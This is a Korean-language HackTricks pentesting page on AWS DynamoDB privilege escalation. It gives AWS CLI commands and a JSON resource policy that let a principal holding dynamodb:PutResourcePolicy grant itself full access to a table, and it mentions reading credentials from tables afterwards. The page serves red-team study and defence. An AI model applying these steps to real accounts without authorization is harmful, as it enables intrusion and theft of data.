AWS - DynamoDB Privesc

Reading time: 3 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

dynamodb

dynamodb에 대한 자세한 정보는 다음을 확인하세요:

AWS - DynamoDB Enum

dynamodb:PutResourcePolicy, 그리고 선택적으로 dynamodb:GetResourcePolicy

2024년 3월부터 AWS는 DynamoDB에 대해 리소스 기반 정책을 제공합니다 (AWS News).

따라서, 테이블에 대해 dynamodb:PutResourcePolicy가 있다면, 자신이나 다른 주체에게 테이블에 대한 전체 액세스를 부여할 수 있습니다.

무작위 주체에게 dynamodb:PutResourcePolicy를 부여하는 것은 종종 우연히 발생하는데, 관리자가 dynamodb:Put*를 부여하면 주체가 데이터베이스에 항목을 추가할 수 있다고 생각하거나, 2024년 3월 이전에 해당 권한 세트를 부여했기 때문입니다...

이상적으로는, 다른 잠재적으로 중요한 권한을 덮어쓰지 않도록 dynamodb:GetResourcePolicy도 가지고 있어야 하며, 필요한 추가 권한만 주입해야 합니다:

bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

현재 정책을 가져올 수 없는 경우, 다음 정책을 사용하여 테이블에 대한 전체 액세스를 귀하의 주체에게 부여하십시오:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

리소스 정책을 설정하려면 policy.json 정책 문서가 준비되어 있어야 합니다.

bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

이제 필요한 권한을 얻었을 것입니다.

포스트 익스플로잇

제가 아는 한, AWS에서 일부 AWS dynamodb 권한만으로 권한을 상승시키는 다른 직접적인 방법은 없습니다. 테이블에서 민감한 정보를 읽을 수 있고(여기에는 AWS 자격 증명이 포함될 수 있음) 테이블에 정보를 쓸 수 있습니다(이로 인해 lambda 코드 주입과 같은 다른 취약점이 발생할 수 있음) 하지만 이러한 모든 옵션은 이미 DynamoDB 포스트 익스플로잇 페이지에서 고려되었습니다:

AWS - DynamoDB Post Exploitation

TODO: 데이터 스트림을 악용하여 데이터 읽기

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기